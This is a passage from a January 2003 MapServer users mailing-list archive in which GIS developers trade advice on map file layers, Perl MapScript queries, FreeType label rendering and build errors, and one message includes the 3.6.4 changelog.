X4wkeBFFhbv0LrWUV++2dO9HYPzhRNtUVm3VNLiXZtBEX+K1Xt2lWRVkcNCiVcgFMtqkTEtWfqWn
iT22/mVWOFOO4lju13vbAofcASqT5TMWR1YK93kBFj8xFnodo4g/CGlIkz/RIYmFM4l+eGnTEVJ7
ZWaGiGX6hioj9XC3+FcIhTcWQ1scRYS1CCz2ZngtNTYQ6Fs11HxmdFuWqEpv14c5lz5f5WRV8l9K
1VSqKFoy0XMoWATykibISH5rBDoN54KtFHgJeH0/oXIccoziWBIZ+EZBBDGYdHon0zjrInq+1V4y
tlPOlXj8qGl5Y4BR1Fja1z8kUXUQNkE/d3do5YA/QxZl+F70YWlzIFlDpVA1t4dVGFyuBWRYWIz6
5GNFyIqYlwrvmBknJTgfRGdaB2JOdHyTsTCveHb0/rgMU5Uw0Vc6HWeDUiGUmPRgcOUnB0k/REhT
FReA6jgAVBV6JacCoZhvW6V0MSdzauiA/SJPfNiAU+hCZIUNlegRH2k4cDV0fxdV38E7FyiRP6NQ
3CeSPqhFtLUpFcllMFSXUKU5yYRzsDd2WUiMMYhpuEc/GeNOhHmREYOYlpRJgGSHxZJZiuWWPxY/
UNcusSEbyghASEVZD7A6Q+lxTuk/3HSVtPd8P+ZWCwh53HhHqzgyPDFoEsKJOfKTibmMesh1N+SX
wSIvhelNlMFWbLZKsKGO/neYSjSTANhaxpQ/zMlBmsA9D6OItihKu+NaZBae5LmYbuJuh0FajKET
/ifhAhjFZDwTR91VjiaIWQ6GTjloW9nRPhRQBaAxP/ElSILmTtxEk5IyPzX4Wrn3TRKXXWpmWMrj
ZcIYnkEjc3RhnNk4OY4/XQqAm2B3ci2TeZa0RTY5UmmWP1lWViBaleW3anf1XZK4f3jXky+1ZMvD
PJ/miZemU9eYe384kyO4Zg/5TAthgEHyYlxVTZhVZxuVYhsmP6SZoX4xHtFDYIgYauQEpSLKRPt0
XUFRK3OGjkpaJDWyfcQHerI0Svj3pJo3ks6SbQ+Ehmg/nEg6OKhESOYXeP3ndXDgaVoKil4mMyTX
oBVaKqDXm1GWU/aVXqfZIovIdmkEg8tILTci/qM/5WU/tiQLhhgtQG44sGBzxYeIuCh7BFogmIh3
0KnUk1tlKWfQ+ENlJIp4KGFJ4KrodW8wA4VBWnsECqUY6o5nqmPLoZpPSYfBOZ92OlBquXjPhjvw
h0eVFlZB6X1eWaz681O8opLeBINoRKaKcnLSdjPZ4jB8WlSwBh4wJyblimgWeUXSOiHm+EmU46va
aj5MejizI4wXeap2pTM0p6uvGj93Fj8xWTY/yZnW5AnYJheWIimx1neVdD8N63Nq8bD4k4gwqnZj
emZJB0CC+LBlOYwx9z/s14USEpfS1qN6KYJzSD8DdoSHxYQP+2kxSnHeSq18B6GXCn+ohm0h/eNh
4dWRkemhhaRWAgamWDOyQisXnvJbGhGJgjkLPxY4d6kLGlun4Kpa1IWOEUZQ0+lZl0Cw2hM/mdam
oPmk6ClCVvo6GUSyKruRTYR3N5WFime22uOydTt91KSTd+eESIsMWwuvYDUsv0eDNUaju2cfehs9
Lmu0tOKUkUKzILh/Ugqt0eo/i8YymmiqrlazP7qbz1ZlP6goEcaRJeRfULaFN2u4A0KhawtRn+ic
h/eVy4azvIS3h0t5TwloKspPPPK0rvJLHMhuV5p9F1eUO1pt/fYG3cJA4aYT8jO9M3IUD/S6x/a8
yJa7hbu93zts3Att4Ku94hu+wZYkCQAAOw==
------_=_NextPart_000_01C2BE27.FF22ADE0--
--=_0D52166B.F899E87E--
From jmccue at geovue.com Fri Jan 17 06:59:20 2003
From: jmccue at geovue.com (John McCue)
Date: Fri, 17 Jan 2003 09:59:20 -0500
Subject: [Mapserver-users] (no subject)
In-Reply-To: <40094DC6.2060502@terrestris.de>
Message-ID:
Thanks Till,
I don't speak or read German, so I am out of luck. I'll keep looking!
From guillaume.sueur at khi2.fr Fri Jan 17 07:10:07 2003
From: guillaume.sueur at khi2.fr (Guillaume SUEUR)
Date: Fri, 17 Jan 2003 16:10:07 +0100
Subject: [Mapserver-users] History for 3.6.4 ?
References: <3E27D47C.3060700@geosysnet.de> <10169.1042809935@www4.gmx.net>
Message-ID: <3E281CCF.4050004@khi2.fr>
Hi there,
Where can I find the description of the changes from 3.6.3 to 3.6.4 ?
Thx
--
---------------------------
Guillaume SUEUR
Ing?nieur d?veloppement SIG
KHI2 - BVA
25bis Avenue Marcel Dassault
31505 TOULOUSE CEDEX 5
----------------------------
From rich at greenwoodmap.com Fri Jan 17 07:08:30 2003
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Fri, 17 Jan 2003 08:08:30 -0700
Subject: [Mapserver-users] Re: Mapserver - Itemquery
In-Reply-To: <001401c2be03$b81246a0$af7a063d@clickntrac>
Message-ID: <5.2.0.9.0.20030117073721.00a8c320@mail.greenwoodmap.com>
--=======32FE3149=======
Content-Type: multipart/alternative; x-avg-checked=avg-ok-539216BE; boundary="=====================_91392615==.ALT"
--=====================_91392615==.ALT
Content-Type: text/plain; x-avg-checked=avg-ok-539216BE; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit
Steve,
I am not too familiar with the demos so I can't answer your question in the
context of the demos, but what you are trying to do isn't hard. Basically
you need to have just one map file and just one template file for your project.
In your map file, you will need two definitions for the lake layer, one for
normal display of the lake and another for displaying the lake that has
been queried. Give the layer definitions different names e.g. LAKE and
LAKE_QUERIED.
Here's an example (off the top of my head, so it might not be perfect):
QUERYMAP
STATUS ON
STYLE SELECTED
END
LAYER # this layer displays all lakes and allows user to
# click on lake and get lake name
NAME LAKE
TYPE Polygon
DATA "lake"
status default
CLASS
Name "Lakes" # this is just for display in the legend
TEMPLATE "attribute_display.html" # Use to display
attribute data
SYMBOL "Solid"
OUTLINECOLOR 0 0 255
SIZE 2
END # CLASS
END # layer
LAYER # this layer just displays one lake when it has been queried
# for based on lake_id
NAME "LAKE_QUERY"
DATA "lake"
TYPE polygon
STATUS default
FILTERITEM lake_id
Filter "%kake_id%"
CLASS
TEMPLATE tc.html # Use to display map
OUTLINECOLOR 255 255 0
SYMBOL 'solid' SIZE 6
END # CLASS
END # LAYER
In terms of using javascript to set form variables - you should have to for
a basic page. You should be able to get everything you describe working
with standard form controls.
Your template file looks ok, but I think you should add:
I will CC this reply to the list because there is always some out there
with a useful suggestion.
Rich
At 04:37 PM 1/17/2003 +0800, Steve McCrone wrote:
>Hello,
>
>Sorry for mailing directly, but from previous mails and archives you seem
>quite familiar with CGI mapserver.
>So, if you don't mind me asking you a question -
>
>Let's start with the demo from the mapserver website. The one that starts
>with demo_init.html,
>demo.map and demo.html, and demo_footer.html & demo_header.html
>
>Here's what I'm after - I wish to combine the case1 demo in the TestSuite
>with this demo described above.
>In other words, the user selects a lake (from Lakespy2) from a combo box,
>pushes a button and the
>map will zoom into this lake (on the same page - demo.html) NOT opening
>up another page, and highlite it yellow.
>I have the case1 demo working but wish to have it all on the same page.
>
>I have added a combo box and button -
>
> Pick one:
>
>
>
>where the user selects a 'lake' and then pushes the button. Then the map
>image zoomed in to this polygon will be loaded
>in the palce of ths img in - width=600 height=600 border=0>
>
>Then the user can continue to interact with the map image by zooming
>in/out/panning etc.
>
>I assume I need to call a javascript function to set the variable etc.,
>which will involve setting such
>variables as -
>
>
>
>
>
>But, I'm at a loss on how to have this function within the same page. I
>also need to set my filters etc in my map page, but when I initially
>load my page the lakespy2 shape file is not loaded.
>
>I have spent hours searching the archive but have not found anyone who has
>implemented this.
>
>Thanks for any assistance you can provide. I will continue trying.
>
>Steve
>
>
>
>
><
Richard W. Greenwood, PLS
(307) 733-0203
Rich at GreenwoodMap.com
www.GreenwoodMap.com
--=====================_91392615==.ALT
Content-Type: text/html; x-avg-checked=avg-ok-539216BE; charset=us-ascii
Content-Transfer-Encoding: 8bit
Steve,
I am not too familiar with the demos so I can't answer your question in
the context of the demos, but what you are trying to do isn't hard.
Basically you need to have just one map file and just one template file
for your project.
In your map file, you will need two definitions for the lake layer, one
for normal display of the lake and another for displaying the lake that
has been queried. Give the layer definitions different names e.g. LAKE
and LAKE_QUERIED.
Here's an example (off the top of my head, so it might not be
perfect):
QUERYMAP STATUS ON
STYLE
SELECTED
END
LAYER# this layer displays all lakes and
allows user to #
click on lake and get lake name NAME
LAKE TYPE
Polygon DATA
"lake" status
default CLASS Name
"Lakes"# this is just
for display in the legend TEMPLATE
"attribute_display.html"#
Use to display attribute data SYMBOL
"Solid" OUTLINECOLOR
0 0 255 SIZE
2 END
# CLASS
END # layer
LAYER# this layer just displays one lake
when it has been queried #
for based on lake_id NAME
"LAKE_QUERY" DATA
"lake" TYPE
polygon STATUS
default FILTERITEM
lake_id Filter
"%kake_id%" CLASS TEMPLATE
tc.html#
Use to display map OUTLINECOLOR
255 255 0 SYMBOL
'solid' SIZE 6 END #
CLASS
END # LAYER
In terms of using javascript to set form variables - you should have to
for a basic page. You should be able to get everything you describe
working with standard form controls.
Your template file looks ok, but I think you should add: <input
type="hidden" name="mapext"
value="shapes">
I will CC this reply to the list because there is always some out there
with a useful suggestion.
Rich
At 04:37 PM 1/17/2003 +0800, Steve McCrone wrote:
Hello,
Sorry for mailing directly, but from previous
mails and archives you seem quite familiar with CGI
mapserver.
So, if you don't mind me asking you a question
-
Let's start with the demo from the mapserver
website. The one that starts with demo_init.html,
demo.map and demo.html, and demo_footer.html
& demo_header.html
Here's what I'm after - I wish to combine the
case1 demo in the TestSuite with this demo described above.
In other words, the user selects a lake (from
Lakespy2) from a combo box, pushes a button and the
map will zoom into this lake (on the same
page - demo.html) NOT opening up another page, and highlite it
yellow.
I have the case1 demo working but wish to have
it all on the same page.
where the user selects a 'lake' and then pushes the button. Then the map image zoomed in to this polygon will be loaded
in the palce of ths img in - <INPUT NAME="img" TYPE="image" SRC="[img]" width=600 height=600 border=0>
Then the user can continue to interact with the map image by zooming in/out/panning etc.
I assume I need to call a javascript function to set the variable etc., which will involve setting such
variables as -
<input type="hidden" name="mode" value="itemquery">
<input type="hidden" name="qlayer" value="Lakespy2">
<input type="hidden" name="item" value="Lake_name">
<input type="hidden" name="mapext" value="">
But, I'm at a loss on how to have this function within the same page. I also need to set my filters etc in my map page, but when I initially
load my page the lakespy2 shape file is not loaded.
I have spent hours searching the archive but have not found anyone who has implemented this.
Thanks for any assistance you can provide. I will continue trying.
Steve
<
Richard W. Greenwood, PLS
(307) 733-0203
Rich at GreenwoodMap.com www.GreenwoodMap.com
--=====================_91392615==.ALT--
--=======32FE3149=======--
From vincent at javel.nl Fri Jan 17 07:18:10 2003
From: vincent at javel.nl (Vincent Jansen)
Date: Fri, 17 Jan 2003 16:18:10 +0100
Subject: [Mapserver-users] Fwd: perl mapscript 3.6.4 $layer->queryByPoint
Message-ID: <200301171618.10951.vincent@javel.nl>
Hi,
In perl I'm using the folowing :
$layer = $mapObj->getLayerByName('query wijk');
$layer->{status} = 1;
$result = $layer->queryByPoint($mapObj, $point, MS_SINGLE, 0);
$data = $layer->getResult(0);
$shape = $data->{shapeindex};
width a valid mapObj and Point
on a layer that looks like
LAYER
CLASS
COLOR 0 0 255
OUTLINECOLOR 0 0 0
SYMBOL 'arcering'
END
DATA "wijkvlakken"
NAME "query wijk"
STATUS OFF
TYPE POLYGON
END
although $return == 1 and i'm positive there's a shape at the givvin point,
somehow $data and $shape stay empty
Am i missing something obvious?
Thanks
--
Vincent Jansen
vincent at javel.nl
From assefa at dmsolutions.ca Fri Jan 17 07:18:01 2003
From: assefa at dmsolutions.ca (Yewondwossen Assefa)
Date: Fri, 17 Jan 2003 10:18:01 -0500
Subject: [Mapserver-users] History for 3.6.4 ?
References: <3E27D47C.3060700@geosysnet.de> <10169.1042809935@www4.gmx.net> <3E281CCF.4050004@khi2.fr>
Message-ID: <3E281EA9.36E02C8E@dmsolutions.ca>
This is a multi-part message in MIME format.
--------------BF0BE9FC0F7C8388431B076E
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Attached is HISTORY.txt with the changes. This file is also available in
the mapserver cvs repository.
Later,
Guillaume SUEUR wrote:
> Hi there,
> Where can I find the description of the changes from 3.6.3 to 3.6.4 ?
>
> Thx
>
> --
> ---------------------------
> Guillaume SUEUR
> Ing?nieur d?veloppement SIG
> KHI2 - BVA
> 25bis Avenue Marcel Dassault
> 31505 TOULOUSE CEDEX 5
> ----------------------------
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst
Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/
Phone: (613) 565-5056 (ext 14)
Fax: (613) 565-0925
----------------------------------------------------------------
--------------BF0BE9FC0F7C8388431B076E
Content-Type: text/plain; charset=us-ascii;
name="HISTORY.TXT"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="HISTORY.TXT"
MapServer Revision History
==========================
This is a human-readable revision history which will attempt to document
required changes for users to migrate from one version of MapServer to the
next. Developers are strongly encouraged to document their changes and
their impacts on the users here. (Please add the most recent changes to
the top of the list.)
For a complete change history, please see the CVS log comments. A copy of
the CVS logs is updated daily at the following URL:
http://www2.dmsolutions.ca/mapserver/dl/mapserver_changelog.txt
Version 3.6.4 (2003-01-08)
--------------------------
- Use LD instead of CC to refer to linker program name in the Makefile to
help dealing with GCC 3.x issues (doesn't resolve the issue completely)
- Added missing MS_LAYER_CIRCLE and MS_CC constants in PHP MapScript
- Fixed bad memory corruption bug with WMS SRS parameter value mapwms.c
(Thanks to Ed M. for finding it)
- Added version 3.7's mappostgis.c
- minor bug fixes
- lots of help if you make a mistake
- more functionality
- Fixed problem in space-delimited wms_srs metadata with WMS client mode
where the last SRS in the string was never used even if it would have
been a best match. Causing unnecessary WMS reprojections in several cases.
- Fixed configure script to produce an error if --with-gdal does not point
to a valid gdal-config file.
Version 3.6.3 (2002-10-07)
--------------------------
- Fixed problem with numeric labels with OGR's STYLEITEM AUTO (bug 185)
- PHP MapScript: fixed set() method on all object types for parameters
of type float and string. The param value was not forced to the right
type and this could lead to unexpected values being set or crashes.
- Fixed bug 174 - improperly terminated string buffer in msWMSException()
- Fixed problem with 'gcc undef' appearing in the mapscript/php3/Makefile
on FreeBSD. Also added --enable-internal-ld-detect configure switch to
force use of an internal configure macro to detect ld command and args
in case the default doesn't work (this is for mapscript/php3/Makefile only)
- Fixed potential crash with WMS GML query output (missing msInitSHape() in
msGMLWriteQuery())
- Fixed Windows-specific problem where WMS capabilities were always returned
as 1.0.0 even if 1.1.0 was requested
Version 3.6.2 (2002-07-08)
--------------------------
- Added msTokenizeMap() in MapScript (and via 'mapserv -t test.map')
- Added map->setFontSet()
- Fixed Windows-specific problem with PHP MapScript ms_newMapObj("")
called with empty filename.
- Fixed problem with double 'gcc' appearing in mapscript/php3/Makefile on
some systems.
Version 3.6.1 (2002-06-20)
--------------------------
- Fixed a performance problem in msImageFilledPolygon() (bug 162)
3.6.0 was up to 50% slower than 3.5 rendering polygons, and now
3.6.1 is up to 10-20% faster than 3.5.
- Removed obsolete PHP3 stuff in README files and configure scripts.
- Fixed color problem with crosshair in reference map.
- Fixed an issue with "LOCATION TINY" being output in legend label objects.
- Postgis bug 165: fix dont_force() to allow for POINT shapes
- Make sure inline symbols (symbols defined in the mapfile) are saved
when msSaveMap() is called. They used to be lost.
Version 3.6.0 (2002-05-28)
--------------------------
- No change since 3.6.0-beta2
Version 3.6.0-beta2 (2002-05-23)
--------------------------------
- A few fixes.
- PostGIS: Added Sean Gillies 's patch for "using unique
". Added "using SRID=#" to specify a spatial reference
for an arbitrary sql query.
- WMS Capabilities XML: Return grouped/ungrouped layers in an order closer
to the natural mapfile order (bug 154)
- Integrated patch from Tim Mackey to support ROSA applet parameters via
mapserv CGI, see:
http://mapserver.gis.umn.edu/wilma/mapserver-users/0011/msg00077.html
Version 3.6.0-beta1 (2002-04-30)
--------------------------------
- MapScript: qitem and qstring params added to layer->queryByAttribute().
Instead of being driven by the layer's FILTER/FILTERITEM, the query by
attribute is now driven by the values passed via qitem,qstring, and the
layer's FILTER/FILTERITEM are ignored.
- Symbol and MapFile changes:
ANTIALIAS and FILLED keywords now take a boolean (TRUE/FALSE) argument
i.e. ANTIALIAS becomes ANTIALIAS TRUE
and FILLED becomes FILLED TRUE
- Reference Map:
Added options to show a different marker when the reference box becomes
too small. See the mapfile reference docs for more details on the new
reference object parameters (MARKER, MARKERSIZE, MAXBOXSIZE, MINBOXSIZE)
- Added MINSCALE/MAXSCALE at the CLASS level.
- Support for tiled OGR datasets.
- PHP 4.1.2 and 4.2.0 support for PHP MapScript.
- Added LAYER TRANSPARENCY, value between 1-100
- Fixes to the SWIG interface for clean Java build.
- New HTML legend templates for CGI and MapScript. See HTML-Legend-HOWTO.
- WMS server now supports query results using HTML query templates instead
of just plain/text.
- Added support functions for thread safety (--with-thread). Still not
100% thread-safe.
Version 3.5.0 (2002-12-18)
--------------------------
- No Revision history before version 3.5
---------
$Id: HISTORY.TXT,v 1.3.2.26 2003/01/08 19:06:59 dan Exp $
--------------BF0BE9FC0F7C8388431B076E--
From lfilak at medinaco.org Fri Jan 17 07:33:17 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Fri, 17 Jan 2003 10:33:17 -0500
Subject: [Mapserver-users] Fwd: perl mapscript 3.6.4 $layer->queryByPoint
Message-ID: <200301171529.h0HFTxR26931@yogi.medinaco.net>
I think 1 small change should fix it.
HTH
Lowell F.
The following message was sent by Vincent Jansen on Fri, 17 Jan 2003 16:18:10 +0100.
> Hi,
>
> In perl I'm using the folowing :
>
> $layer = $mapObj->getLayerByName('query wijk');
> $layer->{status} = 1;
$layer->{status} = $mapscript::MS_ON;
>
> $result = $layer->queryByPoint($mapObj, $point, MS_SINGLE, 0);
> $data = $layer->getResult(0);
> $shape = $data->{shapeindex};
>
> width a valid mapObj and Point
> on a layer that looks like
>
> LAYER
> CLASS
> COLOR 0 0 255
> OUTLINECOLOR 0 0 0
> SYMBOL 'arcering'
> END
> DATA "wijkvlakken"
> NAME "query wijk"
> STATUS OFF
> TYPE POLYGON
> END
>
> although $return == 1 and i'm positive there's a shape at the givvin point,
> somehow $data and $shape stay empty
>
> Am i missing something obvious?
>
> Thanks
> --
> Vincent Jansen
> vincent at javel.nl
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From stepan.kafka at centrum.cz Fri Jan 17 07:37:25 2003
From: stepan.kafka at centrum.cz (Stepan Kafka)
Date: Fri, 17 Jan 2003 16:37:25 +0100
Subject: [Mapserver-users] problems with WMS and Cached Query
In-Reply-To:
Message-ID: <000f01c2be3e$55864d70$7e3c2fc3@HSGIS>
Hi Victor,
do you have any projection parameters in mapfile? What is your
configuration? Mapfile example atc...
Stepan Kafka
Help Service Remote Sensing
tel: +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz
> -----P?vodn? zpr?va-----
> Od: mapserver-users-admin at lists.gis.umn.edu
> [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele Pascual
> Ayats, Victor
> Odesl?no: 15. ledna 2003 17:29
> Komu: 'mapserver-users at lists.gis.umn.edu'
> P?edm?t: [Mapserver-users] problems with WMS and Cached Query
>
>
> Dear users
>
> When I run Itasca Demo the Cached Query don't work well, the result is a
> bizarre bmp. Also when I make a WMS query by HTTP get method, the result
> it's the same bizarre image(png or gif).
>
> I think mapserv try to build the image, but wrong.
>
> Any idea??
>
> I've got Windows NT and Tomcat 4.1 and Mapserv3.6
>
>
> Thanks in advance
>
> Victor Pascual Ayats
>
> PROJECTE IDEC
> Institut Cartogrrfic de Catalunya
> Parc de Montjuic - 08038 Barcelona
> tel. 34 93 567 15 00 Ext:3327
>
> http://www.gencat.es/idec
>
>
>
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
From vincent at javel.nl Fri Jan 17 07:46:21 2003
From: vincent at javel.nl (Vincent Jansen)
Date: Fri, 17 Jan 2003 16:46:21 +0100
Subject: [Mapserver-users] Fwd: Re: perl mapscript 3.6.4 $layer->queryByPoint
Message-ID: <200301171646.21876.vincent@javel.nl>
Steve send me the solution, works great
Hi Vincent: The layer isn't queryable as it sits. Even though you
probably won't use it you have to define a template in the CLASS
section. Something like:
TEMPLATE "dummy"
should be sufficient.
Steve
>>> Vincent Jansen 01/17/03 09:08 AM >>>
Hi,
In perl I'm using the folowing :
$layer = $mapObj->getLayerByName('query wijk');
$layer->{status} = 1;
$result = $layer->queryByPoint($mapObj, $point, MS_SINGLE, 0);
$data = $layer->getResult(0);
$shape = $data->{shapeindex};
width a valid mapObj and Point
on a layer that looks like
LAYER
CLASS
COLOR 0 0 255
OUTLINECOLOR 0 0 0
SYMBOL 'arcering'
END
DATA "wijkvlakken"
NAME "query wijk"
STATUS OFF
TYPE POLYGON
END
althoug $return == 1 and i'm positive there's a shape at the givvin
point,
somehow $data and $shape stay empty
Am i missing something obvious?
Thanks
--
Vincent Jansen
vincent at javel.nl
-------------------------------------------------------
From jlowe at giswebsite.com Fri Jan 17 08:06:19 2003
From: jlowe at giswebsite.com (Jonathan W. Lowe)
Date: 17 Jan 2003 08:06:19 -0800
Subject: [Mapserver-users] TrueType Font and Label Angle
In-Reply-To:
References:
Message-ID: <1042819582.1114.66.camel@localhost.localdomain>
Steve,
These responses cleared up my confusion and moved things forward--thanks
for the clarification. FYI: there does seem to be a difference in label
angles and placement between mapserver-3.6.3 and mapserver-3.7 (from
yesterday's nightly build.
Specifically, when labeling lines with the "ANGLE AUTO" parameter,
mapserver-3.6.3 (w/ freetype-1.3.1 and gd-1.8.4) places line labels
exactly along and on top of the lines. Mapserver-3.7 (w/ freetype-2.1.3
and gd-2.x) places the labels (sometimes) slightly different from the
angle of the lines and slightly askew from the lines.
Comparisons appear at the following (temporary) URL:
http://www.giswebsite.com/labels/
The labels generated by mapserver-3.6.3 look cleaner cartographically
(to my eye). Certainly not a show stopper--but I thought you might like
to know in case it's an easy fix.
Thanks again,
Jonathan
On Thu, 2003-01-16 at 21:00, Steve Lime wrote:
> 1) Who knows. Since there is an easy work around I've not felt the need
> to poke around the GD code- that's where the problem is. The pain is on
> those systems that have a particular version of GD and/or Freetype
> pre-installed (life is fine on Solaris for example).
>
> 2) Um, no need to blame anyone. It really shouldn't have been until GD
> 2.0 was stable, so prior to 3.7 only Freetype 1 should be looked for.
> The good news is that recent versions of GD 2.0 have had major updates
> to TTF support and are believed to work just fine. Bottom line is to use
> freetype 1.3.1/gd 1.8.4 with MapServer 3.6.x and either that combination
> or freetype 2.0/gd 2.x with MapServer 3.7.
>
> 3) The bug(s) is in the GD interface to Freetype, not in Freetype
> itself. Freetype 2 support in GD has not been stable until recently.
>
> Steve
>
>
> Stephen Lime
> Data & Applications Manager
>
> Minnesota DNR
> 500 Lafayette Road
> St. Paul, MN 55155
> 651-297-2937
> >>> "Jonathan W. Lowe" 01/16/03 21:38 PM >>>
> Questions (for Daniel?) about the freetype1 vs. freetype2 problem:
>
> 1) Why does the same version of gd + freetype2 result in a successful
> mapserver compilation (i.e. no label angle problems) on RedHat 8.0, but
> not on FreeBSD?
>
> 2) If freetype2 is a problem, why is it the default in the mapserver
> Makefile?
>
> 3) And, if there is a bug in freetype2, rather than avoiding freetype2
> altogether (an endeavor raising its own set of problems), why not get
> the bug fixed? Is it a known bug? Has anyone from the list identified
> the bug and/or contacted the freetype developer(s) to report it?
>
> (If this is much easier said than done, please forgive my naivete.)
>
> Thank you,
> Jonathan Lowe
>
> On Tue, 2003-01-14 at 21:42, Daniel Morissette wrote:
> > "Jonathan W. Lowe" wrote:
> > >
> > > For what it's worth, my installation on RedHat 8.0 didn't have the
> label angle
> > > problems, so it is possible to successfully compile the software on
> Linux. At
> > > one point in my efforts to overcome the label angle problems, I
> found a
> > > reference that said the mere presence of freetype2 might force the
> compiler to
> > > use freetype2 (the supposed culprit in the label angle problem)
> rather than
> > > freetype1. Do you have root access to the system on which you are
> compiling? I
> > > had to isolate libraries like gd and freetype in a local directory
> in order to
> > > be sure my compilation used exactly the libraries I intended it to
> use.
> > >
> >
> > FYI there is a --enable-force-freetype1 configure switch in 3.6.x and
> > 3.7 to try to force detection of Freetype 1 in priority over freetype
> 2
> > when a system has both. Starting with RH 7.x and 8.x this is very
> > useful if you want to compile with your own custom GD with freetype
> 1.3.
> >
> > Daniel
> > --
> > ------------------------------------------------------------
> > Daniel Morissette morissette at dmsolutions.ca
> > DM Solutions Group http://www.dmsolutions.ca/
> > ------------------------------------------------------------
> >
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From mpr at dpi.ufv.br Fri Jan 17 08:08:21 2003
From: mpr at dpi.ufv.br (=?iso-8859-1?Q?Maur=EDcio?= Pereira Reis)
Date: Fri, 17 Jan 2003 14:08:21 -0200
Subject: [Mapserver-users] shp2img_error
In-Reply-To:
Message-ID: <5.1.0.14.0.20030117140602.00bc95b0@vicosa.dpi.ufv.br>
The error undefined reference to `__gxx_personality_v0' tells you that you
need to link shp2img using g++ rather than gcc because one of your
libraries has C++ code.
I suggest that you make a backup copy of your Mapserver Makefile. Open the
Makefile and go to the lines where the Mapserver apps are compiled. There
will be lines like these: $(CC) -o shp2img shp2img.o ... Replace $(CC) with
$(CXX), and make sure that CXX is defined as c++ or g++ at some lesser line
number in the Makefile (this should be true by default).
Good luck!
Mauricio
At 12:53 17/1/2003 +0100, hvollmer at zebris.com wrote:
>Hello
>I am trying to install a 3.6 build of mapserver on a Redhat 7 Linux box
>while using the following options with the configuration script.
>
>./configure --with-gd=/usr/local/gd-2.0.10
>--with-freetype=/usr/lib/freetype --with-jpeg=/usr/local/jpeg
>
>gd-2.0.10
>freetype-2.1.2
>jpeg-6b
>
>After compilation the libraries are indicated and the makefile builds
>without complaint.
>When I run 'make' I get the following problem
>
>gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_JPEG
>-DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT
>-I/usr/local/include shp2img.o -L. -lmap -lgd
>-L/usr/local/lib -lgd -ljpeg -lfreetype -lpng - lz -ljpeg
>-lfreetype -lpng -lz -ljpeg -lm -o shp2img
>./libmap.a(mapogr.o)(.eh_frame+0x11): undefined reference to
>`__gxx_personali ty_v0'
>collect2: ld returned 1 exit status
>make: *** [shp2img] Fehler 1
>
>Does anyone Knows this error and could I please get some pointers or
>advice?
>
>Thanks in advance,
>
>Hennes Vollmer
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
------
Mauricio Pereira Reis
Graduando em Ci?ncia da Computa??o
Universidade Federal de Vi?osa - UFV
Minas Gerais - Brasil
From DOtt at PALATINE.IL.US Fri Jan 17 10:03:18 2003
From: DOtt at PALATINE.IL.US (Dale Ott)
Date: Fri, 17 Jan 2003 12:03:18 -0600
Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #46 - 47 msgs (Auto Reply.)
Message-ID:
Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks!
From rgrant at nrcan.gc.ca Fri Jan 17 10:36:26 2003
From: rgrant at nrcan.gc.ca (Grant, Ryan)
Date: Fri, 17 Jan 2003 13:36:26 -0500
Subject: [Mapserver-users] Flash Interface to mapserver
Message-ID: <8AE17DD6AA4FD51191CD0002A551168184BB49@s5-van1-r1.ess.nrcan.gc.ca>
Only Flash 6 supports the dynamic loading of jpegs. Flash 5 supports dynamic
loading of swfs, but I'm not sure about Flash 4. Once mapserver 3.7 comes
out with swf support, it may be possible to use these earlier versions...
-----Original Message-----
From: Arthur, John [mailto:John.Arthur at T-Mobile.com]
Sent: Friday, January 17, 2003 6:45 AM
To: Mapserver-users at lists.gis.umn.edu
Cc: 'Grant, Ryan'
Subject: RE: [Mapserver-users] Flash Interface to mapserver
Silly question, I know... but does anyone know if it is possible to write a
flash front-end in flash 4?
This is all I have, and can't afford to upgrade at the moment. I have a
request in at work for the new Studio MX, but it doesn't look like its going
through.
BTW, I tested it on a Pocket PC... no go. I imagine it requires Flash player
6, pocket ie only has 5.
Works in Opera for linux,
Works in Phoenix for linux,
Does not work in Konqueror 3.1... It loads the movie, but doesn't load the
actual map. Just continues to say "Loading Map..."
Thanks
-John Arthur
-----Original Message-----
From: Grant, Ryan [mailto:rgrant at nrcan.gc.ca]
Sent: Thursday, January 16, 2003 6:33 PM
To: 'Steve Lime'; Mapserver-users at lists.gis.umn.edu; Grant, Ryan
Subject: RE: [Mapserver-users] Flash Interface to mapserver
Sounds great to me! After talking with Paul Ramsey I've started working a
Flash version to work with the CGI implementation. I'll post it once I get
anywhere with it..
Ryan
-----Original Message-----
From: Steve Lime [mailto:steve.lime at dnr.state.mn.us]
Sent: Thursday, January 16, 2003 2:53 PM
To: Mapserver-users at lists.gis.umn.edu; rgrant at nrcan.gc.ca
Subject: Re: [Mapserver-users] Flash Interface to mapserver
Don't want to lose this. How 'bout adding/starting a flash section on
the wiki?
>>> "Grant, Ryan" 01/16/03 01:55PM >>>
Hey there.
Well it's time I stopped simply leaching from this users-group and add
my
contribution. I've built a simple flash interface around MapServer
3.6.3.
The backend functionality is provided by PHP-Mapscript. On the page is
a
